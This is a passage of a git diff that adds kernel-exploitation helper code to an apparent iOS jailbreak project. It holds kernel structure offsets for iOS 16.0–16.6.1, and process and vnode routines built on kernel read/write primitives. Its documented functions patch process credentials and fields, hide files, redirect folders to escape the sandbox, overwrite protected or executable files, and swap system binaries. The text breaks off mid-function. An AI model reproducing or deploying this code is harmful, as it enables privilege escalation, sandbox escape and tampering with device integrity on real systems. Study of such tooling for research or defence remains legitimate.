off_p_sessionid; +extern uint32_t off_p_puniqueid; +extern uint32_t off_p_pid; +extern uint32_t off_p_pfd; +extern uint32_t off_p_textvp; +extern uint32_t off_p_name; +extern uint32_t off_p_ro_p_csflags; +extern uint32_t off_p_ro_p_ucred; +extern uint32_t off_p_ro_pr_proc; +extern uint32_t off_p_ro_pr_task; +extern uint32_t off_p_ro_t_flags_ro; +extern uint32_t off_u_cr_label; +extern uint32_t off_u_cr_posix; +extern uint32_t off_cr_uid; +extern uint32_t off_cr_ruid; +extern uint32_t off_cr_svuid; +extern uint32_t off_cr_ngroups; +extern uint32_t off_cr_groups; +extern uint32_t off_cr_rgid; +extern uint32_t off_cr_svgid; +extern uint32_t off_cr_gmuid; +extern uint32_t off_cr_flags; +extern uint32_t off_task_t_flags; +extern uint32_t off_task_itk_space; +extern uint32_t off_fd_ofiles; +extern uint32_t off_fd_cdir; +extern uint32_t off_fp_glob; +extern uint32_t off_fg_data; +extern uint32_t off_fg_flag; +extern uint32_t off_vnode_v_ncchildren_tqh_first; +extern uint32_t off_vnode_v_ncchildren_tqh_last; +extern uint32_t off_vnode_v_nclinks_lh_first; +extern uint32_t off_vnode_v_iocount; +extern uint32_t off_vnode_v_usecount; +extern uint32_t off_vnode_v_flag; +extern uint32_t off_vnode_v_name; +extern uint32_t off_vnode_v_mount; +extern uint32_t off_vnode_v_data; +extern uint32_t off_vnode_v_kusecount; +extern uint32_t off_vnode_v_references; +extern uint32_t off_vnode_v_lflag; +extern uint32_t off_vnode_v_owner; +extern uint32_t off_vnode_v_parent; +extern uint32_t off_vnode_v_label; +extern uint32_t off_vnode_v_cred; +extern uint32_t off_vnode_v_writecount; +extern uint32_t off_vnode_v_type; +extern uint32_t off_vnode_v_id; +extern uint32_t off_vnode_vu_ubcinfo; +extern uint32_t off_mount_mnt_data; +extern uint32_t off_mount_mnt_fsowner; +extern uint32_t off_mount_mnt_fsgroup; +extern uint32_t off_mount_mnt_devvp; +extern uint32_t off_mount_mnt_flag; +extern uint32_t off_specinfo_si_flags; +extern uint32_t off_namecache_nc_dvp; +extern uint32_t off_namecache_nc_vp; +extern uint32_t off_namecache_nc_hashval; +extern uint32_t off_namecache_nc_name; +extern uint32_t off_namecache_nc_child_tqe_prev; +extern uint32_t off_ipc_space_is_table; +extern uint32_t off_ubc_info_cs_blobs; +extern uint32_t off_ubc_info_cs_add_gen; +extern uint32_t off_cs_blob_csb_pmap_cs_entry; +extern uint32_t off_cs_blob_csb_cdhash; +extern uint32_t off_cs_blob_csb_flags; +extern uint32_t off_cs_blob_csb_teamid; +extern uint32_t off_cs_blob_csb_validation_category; +extern uint32_t off_pmap_cs_code_directory_ce_ctx; +extern uint32_t off_pmap_cs_code_directory_der_entitlements_size; +extern uint32_t off_pmap_cs_code_directory_trust; +extern uint32_t off_ipc_entry_ie_object; +extern uint32_t off_ipc_object_io_bits; +extern uint32_t off_ipc_object_io_references; +extern uint32_t off_ipc_port_ip_kobject; + +extern uint32_t v_holdcount; + +extern uint64_t off_gphysbase; +extern uint64_t off_gphysize; +extern uint64_t off_gvirtbase; +extern uint64_t off_ptov__table; +extern uint32_t v_holdcount; +void _offsets_init(void); diff --git a/RootHelperSample/launchdshim/launchdhook/fun/offsets.m b/RootHelperSample/launchdshim/launchdhook/fun/offsets.m new file mode 100644 index 00000000..8b551b0a --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/offsets.m @@ -0,0 +1,326 @@ +// +// offsets.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "offsets.h" +#include +#include + +uint32_t off_p_list_le_prev = 0; +uint32_t off_p_proc_ro = 0; +uint32_t off_p_ppid = 0; +uint32_t off_p_original_ppid = 0; +uint32_t off_p_pgrpid = 0; +uint32_t off_p_uid = 0; +uint32_t off_p_gid = 0; +uint32_t off_p_ruid = 0; +uint32_t off_p_rgid = 0; +uint32_t off_p_svuid = 0; +uint32_t off_p_svgid = 0; +uint32_t off_p_sessionid = 0; +uint32_t off_p_puniqueid = 0; +uint32_t off_p_pid = 0; +uint32_t off_p_pfd = 0; +uint32_t off_p_textvp = 0; +uint32_t off_p_name = 0; +uint32_t off_p_ro_p_csflags = 0; +uint32_t off_p_ro_p_ucred = 0; +uint32_t off_p_ro_pr_proc = 0; +uint32_t off_p_ro_pr_task = 0; +uint32_t off_p_ro_t_flags_ro = 0; +uint32_t off_u_cr_label = 0; +uint32_t off_u_cr_posix = 0; +uint32_t off_cr_uid = 0; +uint32_t off_cr_ruid = 0; +uint32_t off_cr_svuid = 0; +uint32_t off_cr_ngroups = 0; +uint32_t off_cr_groups = 0; +uint32_t off_cr_rgid = 0; +uint32_t off_cr_svgid = 0; +uint32_t off_cr_gmuid = 0; +uint32_t off_cr_flags = 0; +uint32_t off_task_t_flags = 0; +uint32_t off_task_itk_space = 0; +uint32_t off_fd_ofiles = 0; +uint32_t off_fd_cdir = 0; +uint32_t off_fp_glob = 0; +uint32_t off_fg_data = 0; +uint32_t off_fg_flag = 0; +uint32_t off_vnode_v_ncchildren_tqh_first = 0; +uint32_t off_vnode_v_ncchildren_tqh_last = 0; +uint32_t off_vnode_v_nclinks_lh_first = 0; +uint32_t off_vnode_v_iocount = 0; +uint32_t off_vnode_v_usecount = 0; +uint32_t off_vnode_v_flag = 0; +uint32_t off_vnode_v_name = 0; +uint32_t off_vnode_v_mount = 0; +uint32_t off_vnode_v_data = 0; +uint32_t off_vnode_v_kusecount = 0; +uint32_t off_vnode_v_references = 0; +uint32_t off_vnode_v_lflag = 0; +uint32_t off_vnode_v_owner = 0; +uint32_t off_vnode_v_parent = 0; +uint32_t off_vnode_v_label = 0; +uint32_t off_vnode_v_cred = 0; +uint32_t off_vnode_v_writecount = 0; +uint32_t off_vnode_v_type = 0; +uint32_t off_vnode_v_id = 0; +uint32_t off_vnode_vu_ubcinfo = 0; +uint32_t off_mount_mnt_data = 0; +uint32_t off_mount_mnt_fsowner = 0; +uint32_t off_mount_mnt_fsgroup = 0; +uint32_t off_mount_mnt_devvp = 0; +uint32_t off_mount_mnt_flag = 0; +uint32_t off_specinfo_si_flags = 0; +uint32_t off_namecache_nc_dvp = 0; +uint32_t off_namecache_nc_vp = 0; +uint32_t off_namecache_nc_hashval = 0; +uint32_t off_namecache_nc_name = 0; +uint32_t off_namecache_nc_child_tqe_prev = 0; +uint32_t off_ipc_space_is_table = 0; +uint32_t off_ubc_info_cs_blobs = 0; +uint32_t off_ubc_info_cs_add_gen = 0; +uint32_t off_cs_blob_csb_pmap_cs_entry = 0; +uint32_t off_cs_blob_csb_cdhash = 0; +uint32_t off_cs_blob_csb_flags = 0; +uint32_t off_cs_blob_csb_teamid = 0; +uint32_t off_cs_blob_csb_validation_category = 0; +uint32_t off_pmap_cs_code_directory_ce_ctx = 0; +uint32_t off_pmap_cs_code_directory_der_entitlements_size = 0; +uint32_t off_pmap_cs_code_directory_trust = 0; +uint32_t off_ipc_entry_ie_object = 0; +uint32_t off_ipc_object_io_bits = 0; +uint32_t off_ipc_object_io_references = 0; +uint32_t off_ipc_port_ip_kobject = 0; + +uint64_t off_gphysbase = 0; +uint64_t off_gphysize = 0; +uint64_t off_gvirtbase = 0; +uint64_t off_ptov__table = 0; +uint32_t v_holdcount = 0xB4; + +#define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame) +#define SYSTEM_VERSION_GREATER_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending) +#define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending) +#define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending) +#define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending) + +void _offsets_init(void) { + if (!(SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"16.0") && SYSTEM_VERSION_LESS_THAN(@"16.7"))) { + printf("[-] Only supported offset for iOS 16.0-16.6.1\n"); + exit(EXIT_FAILURE); + } + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_ro.h#L59 + //should be same 16.0~16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_p_ro_p_csflags = 0x1c; + off_p_ro_p_ucred = 0x20; //_proc_ucred + off_p_ro_pr_proc = 0; + off_p_ro_pr_task = 0x8; + off_p_ro_t_flags_ro = 0x78; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/kern/task.h#L280 + //should be same 16.0~16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_task_itk_space = 0x300; //14p 16.1.2 _task_suspend FFFFFFF007DB43BC + off_task_t_flags = 0x3D0; //14p 16.1.2 _get_bsdtask_info FFFFFFF007DE4E60 + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L91 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_u_cr_label = 0x78; //__Z15getEntitlementsP5ucred getEntitlements + off_u_cr_posix = 0x18; //_kauth_cred_getuid, 0x18 + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L100 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_cr_uid = 0; //kauth_cred_getuid, 0x18 - 0x18 + off_cr_ruid = 0x4; + off_cr_svuid = 0x8; + off_cr_ngroups = 0xc; + off_cr_groups = 0x10; + off_cr_rgid = 0x50; //kauth_cred_getrgid, 0x68-0x18 + off_cr_svgid = 0x54; + off_cr_gmuid = 0x58; + off_cr_flags = 0x5c; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/filedesc.h#L138 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_fd_ofiles = 0; + off_fd_cdir = 0x20; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L125 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_fp_glob = 0x10; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L179 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_fg_data = 0x38; + off_fg_flag = 0x10; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/miscfs/specfs/specdev.h#L77 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_specinfo_si_flags = 0x10; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/vnode_internal.h#L158 + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8796.101.5/bsd/sys/vnode_internal.h#L159 + //xnu-8792.41.9 vs xnu-8792.61.2 same + //xnu-8792.61.2 vs xnu-8792.81.2 same + //xnu-8792.81.2(~iOS 16.3.x) vs xnu-8796.101.5(iOS 16.4~) different + //xnu-8796.101.5 vs xnu-8796.121.2 same + //xnu-8796.121.2 vs xnu-8796.141.3 same + + //changed priority with below fields; + v_holdcount = 0xB4; + //v_name ~ end should be changed offsets, but same offsets when checked 16.2 vs 16.6.1 (_mac_vnode_label_get same) + off_vnode_v_ncchildren_tqh_first = 0x30; + off_vnode_v_ncchildren_tqh_last = 0x38; + off_vnode_v_nclinks_lh_first = 0x40; + off_vnode_v_iocount = 0x64; //_vnode_iocount + off_vnode_v_usecount = 0x60; //_vnode_usecount + off_vnode_v_flag = 0x54; //_vnode_isvroot + off_vnode_v_kusecount = 0x5c; + off_vnode_v_references = 0x5b; + off_vnode_v_lflag = 0x58; + off_vnode_v_owner = 0x68; + off_vnode_v_cred = 0x98; + off_vnode_v_writecount = 0xb0; //_vnode_writecount + off_vnode_v_type = 0x70; + off_vnode_v_id = 0x74; + off_vnode_vu_ubcinfo = 0x78; + off_vnode_v_name = 0xb8; //_vnode_getname + off_vnode_v_mount = 0xd8; + off_vnode_v_data = 0xe0; + off_vnode_v_parent = 0xc0; //_vnode_parent + off_vnode_v_label = 0xe8; //_mac_vnode_label_get ADD + + //https://github.com/apple-oss-distributions/xnu/blob/main/bsd/sys/mount_internal.h#L108 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_mount_mnt_data = 0x11F; + off_mount_mnt_fsowner = 0x9c0; + off_mount_mnt_fsgroup = 0x9c4; + off_mount_mnt_devvp = 0x980; //_vfs_devvp + off_mount_mnt_flag = 0x70; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/ipc/ipc_space.h#L123 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_ipc_space_is_table = 0x20; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ubc_internal.h#L156 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3, only cs_blobs has been applied pac) + off_ubc_info_cs_blobs = 0x50; //_ubc_cs_blob_get - 14pro 16.1.2 FFFFFFF0081FF240 + off_ubc_info_cs_add_gen = 0x2c; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/vm/pmap_cs.h#L299 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_pmap_cs_code_directory_ce_ctx = 0x1c8; + off_pmap_cs_code_directory_der_entitlements_size = 0x1d8; + off_pmap_cs_code_directory_trust = 0x1dc; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/ipc/ipc_entry.h#L111 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_ipc_entry_ie_object = 0; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/ipc/ipc_object.h#L120 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_ipc_object_io_bits = 0; + off_ipc_object_io_references = 0x4; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/ipc/ipc_port.h#L167 + //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_ipc_port_ip_kobject = 0x48; //https://github.com/0x7ff/dimentio/blob/7ffffffb4ebfcdbc46ab5e8f1becc0599a05711d/libdimentio.c#L973 + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ubc_internal.h#L103 + //should be same 16.0-16.6, except off_cs_blob_csb_pmap_cs_entry(proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3) + off_cs_blob_csb_cdhash = 0x58; + off_cs_blob_csb_flags = 0x20; //_csblob_get_flags + off_cs_blob_csb_teamid = 0x88; + //https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056#file-ios_16_launch_constraints-txt-L39 + off_cs_blob_csb_validation_category = 0xb0; //_csblob_get_validation_category + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/namei.h#L243 + off_namecache_nc_child_tqe_prev = 0x10; //should be same 16.0-16.6 + + if (SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(@"16.3.1")) { + printf("[i] offsets selected for iOS 16.0 - 16.3.1\n"); + //iPhone 14 Pro 16.0.2, 16.1.2 offsets + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_internal.h#L273 + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/queue.h#L487 + //xnu-8792.41.9 vs xnu-8792.61.2 same + //xnu-8792.61.2 vs xnu-8792.81.2 same + //xnu-8792.81.2(~iOS 16.3.x) vs xnu-8796.101.5(iOS 16.4~) different! + //xnu-8796.101.5 vs xnu-8796.121.2 same + //xnu-8796.121.2 vs xnu-8796.141.3 same + off_p_list_le_prev = 0x8; + off_p_proc_ro = 0x18; //_proc_ucred + off_p_ppid = 0x20; + off_p_original_ppid = 0x24; + off_p_pgrpid = 0x28; + off_p_uid = 0x2c; + off_p_gid = 0x30; + off_p_ruid = 0x34; + off_p_rgid = 0x38; + off_p_svuid = 0x3c; + off_p_svgid = 0x40; + off_p_sessionid = 0x44; + off_p_puniqueid = 0x48; + off_p_pid = 0x60; + off_p_pfd = 0xf8; + off_p_textvp = 0x350; + off_p_name = 0x381; //_proc_best_name + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/namei.h#L243 + off_namecache_nc_dvp = 0x40; //needed to be change 16.4~ + off_namecache_nc_vp = 0x48; //needed to be change 16.4~ + off_namecache_nc_hashval = 0x50; //needed to be change 16.4~ + off_namecache_nc_name = 0x58; //needed to be change 16.4~ + + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ubc_internal.h#L103 + off_cs_blob_csb_pmap_cs_entry = 0xb8; //no more existing since xnu-8796.101.5+(iOS 16.4+); changed to csb_csm_obj + +// off_gphysbase = 0xFFFFFFF0077FF710; +// off_gphysize = 0xFFFFFFF0077FFAD8; +// off_gvirtbase = 0xFFFFFFF0077FF708; +// off_ptov__table = 0xFFFFFFF0077FFA18; + } + + //Starting with iOS 16.4~ + else { + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8796.101.5/bsd/sys/proc_internal.h#L259 + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8796.101.5/bsd/sys/queue.h#L487 + //changed with below fields; (~16.3 vs 16.4~+) + //struct proc_smr p_hash; -> struct smrq_slink p_hash; + off_p_list_le_prev = 0x8; + off_p_proc_ro = 0x18; //_proc_ucred + off_p_ppid = 0x20; + off_p_original_ppid = 0x24; + off_p_pgrpid = 0x28; + off_p_uid = 0x2c; + off_p_gid = 0x30; + off_p_ruid = 0x34; + off_p_rgid = 0x38; + off_p_svuid = 0x3c; + off_p_svgid = 0x40; + off_p_sessionid = 0x44; + off_p_puniqueid = 0x48; + off_p_pid = 0x60; + off_p_pfd = 0xf8; //_fp_get_pipe_id + //changed start + off_p_textvp = 0x548;//0x350; //_csproc_get_blob + off_p_name = 0x579;//0x381; //_proc_best_name + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/namei.h#L243 + //added two fields (so calulate + 8) + //uint32_t nc_vid; + //uint32_t nc_counter; + off_namecache_nc_dvp = 0x48; //needed to be change 16.4~ + off_namecache_nc_vp = 0x50; //needed to be change 16.4~ + off_namecache_nc_hashval = 0x58; //needed to be change 16.4~ + off_namecache_nc_name = 0x60; //needed to be change 16.4~ + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8796.101.5/bsd/sys/ubc_internal.h#L103 + off_cs_blob_csb_pmap_cs_entry = 0xffff; //no more existing;; since xnu-8796.101.5+(iOS 16.4+); changed to csb_csm_obj + } +} diff --git a/RootHelperSample/launchdshim/launchdhook/fun/proc.c b/RootHelperSample/launchdshim/launchdhook/fun/proc.c new file mode 100644 index 00000000..3d816ff2 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/proc.c @@ -0,0 +1,103 @@ +// +// proc.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "proc.h" +#include "offsets.h" +#include "krw.h" +#include +#include +#include + +uint64_t getProc(pid_t pid) { + uint64_t proc = get_kernproc(); + + while (true) { + if(kread32(proc + off_p_pid) == pid) { + return proc; + } + proc = kread64(proc + off_p_list_le_prev); + if(!proc) { + return -1; + } + } + + return 0; +} + +uint64_t getProcByName(char* nm) { + uint64_t proc = get_kernproc(); + + while (true) { + uint64_t nameptr = proc + off_p_name; + char name[32]; + do_kread(nameptr, &name, 32); +// printf("[i] pid: %d, process name: %s\n", kread32(proc + off_p_pid), name); + if(strcmp(name, nm) == 0) { + return proc; + } + proc = kread64(proc + off_p_list_le_prev); + if(!proc) { + return -1; + } + } + + return 0; +} + +int getPidByName(char* nm) { + uint64_t proc = getProcByName(nm); + if(proc == -1) return -1; + return kread32(proc + off_p_pid); +} + +int funProc(uint64_t proc) { + int p_ppid = kread32(proc + off_p_ppid); + printf("[i] self proc->p_ppid: %d\n", p_ppid); + printf("[i] Patching proc->p_ppid %d -> 1 (for testing kwrite32, getppid)\n", p_ppid); + kwrite32(proc + off_p_ppid, 0x1); + printf("[+] Patched getppid(): %u\n", getppid()); + kwrite32(proc + off_p_ppid, p_ppid); + printf("[+] Restored getppid(): %u\n", getppid()); + + int p_original_ppid = kread32(proc + off_p_original_ppid); + printf("[i] self proc->p_original_ppid: %d\n", p_original_ppid); + + int p_pgrpid = kread32(proc + off_p_pgrpid); + printf("[i] self proc->p_pgrpid: %d\n", p_pgrpid); + + int p_uid = kread32(proc + off_p_uid); + printf("[i] self proc->p_uid: %d\n", p_uid); + + int p_gid = kread32(proc + off_p_gid); + printf("[i] self proc->p_gid: %d\n", p_gid); + + int p_ruid = kread32(proc + off_p_ruid); + printf("[i] self proc->p_ruid: %d\n", p_ruid); + + int p_rgid = kread32(proc + off_p_rgid); + printf("[i] self proc->p_rgid: %d\n", p_rgid); + + int p_svuid = kread32(proc + off_p_svuid); + printf("[i] self proc->p_svuid: %d\n", p_svuid); + + int p_svgid = kread32(proc + off_p_svgid); + printf("[i] self proc->p_svgid: %d\n", p_svgid); + + int p_sessionid = kread32(proc + off_p_sessionid); + printf("[i] self proc->p_sessionid: %d\n", p_sessionid); + + uint64_t p_puniqueid = kread64(proc + off_p_puniqueid); + printf("[i] self proc->p_puniqueid: 0x%llx\n", p_puniqueid); + + printf("[i] Patching proc->p_puniqueid 0x%llx -> 0x4142434445464748 (for testing kwrite64)\n", p_puniqueid); + kwrite64(proc + off_p_puniqueid, 0x4142434445464748); + printf("[+] Patched self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid)); + kwrite64(proc + off_p_puniqueid, p_puniqueid); + printf("[+] Restored self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid)); + + return 0; +} diff --git a/RootHelperSample/launchdshim/launchdhook/fun/proc.h b/RootHelperSample/launchdshim/launchdhook/fun/proc.h new file mode 100644 index 00000000..0be6af1d --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/proc.h @@ -0,0 +1,14 @@ +// +// proc.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include + +uint64_t getProc(pid_t pid); +uint64_t getProcByName(char* nm); +int getPidByName(char* nm); + +int funProc(uint64_t proc); diff --git a/RootHelperSample/launchdshim/launchdhook/fun/vnode.h b/RootHelperSample/launchdshim/launchdhook/fun/vnode.h new file mode 100644 index 00000000..8d8c129d --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/vnode.h @@ -0,0 +1,135 @@ +// +// vnode.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include + +//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/mount.h#L293 +#define MNT_RDONLY 0x00000001 /* read only filesystem */ +#define MNT_NOSUID 0x00000008 /* don't honor setuid bits on fs */ +#define MNT_ROOTFS 0x00004000 /* identifies the root filesystem */ +#define MNT_UPDATE 0x00010000 /* not a real mount, just an update */ +//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/vnode_internal.h#L297 +#define VISSHADOW 0x008000 /* vnode is a shadow file */ + +//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/fcntl.h#L112 +//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/fcntl.h#L231 +#define FREAD 0x00000001 +#define FWRITE 0x00000002 + +uint64_t getVnodeAtPath(char* filename); /* return vnode of path, if open(filename, RD_ONLY) returned -1, it fails */ +uint64_t getVnodeAtPathByChdir(char *path); /* return vnode of path, but only directories work. NOT files. */ +uint64_t findRootVnode(void); /* return root vnode as is */ +uint64_t getVnodeVar(void); /* return /var vnode as is */ +uint64_t getVnodeVarMobile(void); /* return /var/mobile vnode as is */ +uint64_t getVnodePreferences(void); /* return /var/mobile/Library/Preferences vnode as is */ +uint64_t getVnodeLibrary(void); /* return /var/mobile/Library vnode as is */ +uint64_t getVnodeSystemGroup(void); /* return /var/containers/Shared/SystemGroup vnode as is */ + +/* +Description: + Hide file or directory. + Return vnode value for restore. +*/ +uint64_t funVnodeHide(char* filename); + +/* +Description: + Reveal file or directory. + Required vnode value to restore. +*/ +uint64_t funVnodeReveal(uint64_t vnode); + +/* +Description: + Perform chown to file or directory. +*/ +uint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid); + +/* +Description: + Perform chmod to file or directory. +*/ +uint64_t funVnodeChmod(char* filename, mode_t mode); + +/* +Description: + Redirect directory to another directory. + Only work when mount points of directories are same. + Can be escaped out of sandbox. + If succeeds, return value to_vnode->v_data (for unredirect) +*/ +uint64_t funVnodeRedirectFolder(char* to, char* from); + +/* +Description: + Perform overwrite file data to file. + Only work when file size is 'lower or same' than original file size. + Overwriting executable file also works, but executing will not work anymore. just freeze or crash. +*/ +uint64_t funVnodeOverwriteFile(char* to, char* from); + +/* +Description: + Iterating sub directory or file at dirname. +*/ +uint64_t funVnodeIterateByPath(char* dirname); + +/* +Description: + Iterating sub directory or file at vnode. +*/ +uint64_t funVnodeIterateByVnode(uint64_t vnode); + +/* +Description: + Redirect directory to another directory using vnode. + Only work when mount points of directories are same. + Can be escaped out of sandbox. + If succeeds, return value to_vnode->v_data (for unredirect) +*/ +uint64_t funVnodeRedirectFolderFromVnode(char* to, uint64_t from_vnode); + +/* +Description: + UnRedirect directory to another directory. + It needs orig_to_v_data, ususally you can get return value of funVnodeRedirectFolder / funVnodeRedirectFolderByVnode +*/ +uint64_t funVnodeUnRedirectFolder(char* to, uint64_t orig_to_v_data); + +/* +Description: + Return vnode of subdirectory or sub file in vnode. + childname can be what you want to find subdirectory or file name. + vnode should be vnode of root directory. +*/ +uint64_t findChildVnodeByVnode(uint64_t vnode, char* childname); + +/* +Description: + Perform overwrite file data to file. + You can overwrite file data without file size limit! but only works on /var files. + Overwriting executable file also works, but executing will also work since using write() instead of mmap(). + https://openradar.appspot.com/FB8914231 +*/ +uint64_t funVnodeOverwriteFileUnlimitSize(char* to, char* from); + +/* +Description: + Redirect file to another file. + If succeeds, return 0 and it stored orig_to_vnode and orig_nc_vp (for unredirect) +*/ +uint64_t funVnodeRedirectFile(char* to, char* from, uint64_t* orig_to_vnode, uint64_t* orig_nc_vp); + +/* +Description: + UnRedirect file to another file. + It needs orig_to_vnode and orig_nc_vp, ususally you can get value from funVnodeRedirectFile +*/ +uint64_t funVnodeUnRedirectFile(uint64_t orig_to_vnode, uint64_t orig_nc_vp); + +uint64_t SwitchSysBin160(char* to, char* from, uint64_t* orig_to_vnode, uint64_t* orig_nc_vp); // overwrite v_name to swap files +int SwitchSysBin(uint64_t vnode, char* what, char* with); // overwrite v_name to swap files diff --git a/RootHelperSample/launchdshim/launchdhook/fun/vnode.m b/RootHelperSample/launchdshim/launchdhook/fun/vnode.m new file mode 100644 index 00000000..94443143 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/vnode.m @@ -0,0 +1,642 @@ +// +// vnode.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "vnode.h" +#include "krw.h" +#include "proc.h" +#include "offsets.h" +#include +#include +#include +#include +#include +#include +uint64_t getVnodeAtPath(char* filename) { + int file_index = open(filename, O_RDONLY); + if (file_index == -1) return -1; + + uint64_t proc = getProc(getpid()); + + uint64_t filedesc_pac = kread64(proc + off_p_pfd); + uint64_t filedesc = unsign_kptr(filedesc_pac); + uint64_t openedfile = kread64(filedesc + (8 * file_index)); + uint64_t fileglob_pac = kread64(openedfile + off_fp_glob); + uint64_t fileglob = unsign_kptr(fileglob_pac); + uint64_t vnode_pac = kread64(fileglob + off_fg_data); + uint64_t vnode = unsign_kptr(vnode_pac); + + close(file_index); + + return vnode; +} + +uint64_t funVnodeHide(char* filename) { + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + //vnode_ref, vnode_get + uint32_t usecount = kread32(vnode + off_vnode_v_usecount); + uint32_t iocount = kread32(vnode + off_vnode_v_iocount); + printf("[i] vnode->usecount: %d, vnode->iocount: %d\n", usecount, iocount); + kwrite32(vnode + off_vnode_v_usecount, usecount + 1); + kwrite32(vnode + off_vnode_v_iocount, iocount + 1); + + //hide file + uint32_t v_flags = kread32(vnode + off_vnode_v_flag); + printf("[i] vnode->v_flags: 0x%x\n", v_flags); + kwrite32(vnode + off_vnode_v_flag, (v_flags | VISSHADOW)); + + //exist test (should not be exist + printf("[i] %s access ret: %d\n", filename, access(filename, F_OK)); + + //restore vnode iocount, usecount + usecount = kread32(vnode + off_vnode_v_usecount); + iocount = kread32(vnode + off_vnode_v_iocount); + if(usecount > 0) + kwrite32(vnode + off_vnode_v_usecount, usecount - 1); + if(iocount > 0) + kwrite32(vnode + off_vnode_v_iocount, iocount - 1); + + return vnode; +} + +uint64_t funVnodeReveal(uint64_t vnode) { + //vnode_ref, vnode_get + uint32_t usecount = kread32(vnode + off_vnode_v_usecount); + uint32_t iocount = kread32(vnode + off_vnode_v_iocount); + printf("[i] vnode->usecount: 